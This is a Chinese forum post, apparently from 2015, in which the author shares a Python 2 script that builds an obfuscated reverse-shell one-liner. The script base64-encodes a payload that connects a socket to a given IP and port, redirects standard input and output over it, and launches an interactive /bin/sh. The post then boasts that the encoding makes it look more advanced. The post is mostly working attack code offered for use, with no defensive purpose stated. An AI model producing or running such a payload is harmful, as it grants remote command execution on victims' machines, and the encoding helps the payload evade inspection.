对python反弹shell代码进行base64编码

lsjfdjoijvtghu 2015-02-02 09:23:33
我还写了篇博客:http://blog.csdn.net/u010211892/article/details/43416109
'''
data: 2015.2.2
author:
____ __ __ __ __
/\ _`\ /\ \/\ \ /\ \/\ \
\ \ \/\ \ ___ ___ __\ \ \_\ \ ___ __ __\ \ \_\ \ __
\ \ \ \ \ / __`\ /' _ `\ /'_ `\ \ _ \ / __`\/\ \/\ \\ \ _ \ /'__`\
\ \ \_\ \/\ \L\ \/\ \/\ \/\ \L\ \ \ \ \ \/\ \L\ \ \ \_\ \\ \ \ \ \/\ __/
\ \____/\ \____/\ \_\ \_\ \____ \ \_\ \_\ \____/\ \____/ \ \_\ \_\ \____\
\/___/ \/___/ \/_/\/_/\/___L\ \/_/\/_/\/___/ \/___/ \/_/\/_/\/____/
/\____/
\_/__/

'''
from base64 import encodestring
from sys import argv
try:
print "python -c \"exec( __import__( 'base64' ).decodestring(", '\'' + encodestring("s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM); s.connect(('{}', {})); __import__('os').dup2(s.fileno(),0); __import__('os').dup2(s.fileno(),1); __import__('os').dup2(s.fileno(),2); p=__import__('subprocess').call(['/bin/sh','-i'])".format(argv[1], argv[2])).replace('\n', '\\n') + '\'', ") )\"" # = = i couldn't use str1 + str2
except:
print 'Usage: python nc.py ip port'


看效果,瞬间档次上去了有没有?

请各位指教!
...全文
468 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

37,720

社区成员

发帖
与我相关
我的任务
社区描述
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
社区管理员
  • 脚本语言(Perl/Python)社区
  • IT.BOB
加入社区
  • 近7日
  • 近30日
  • 至今

试试用AI创作助手写篇文章吧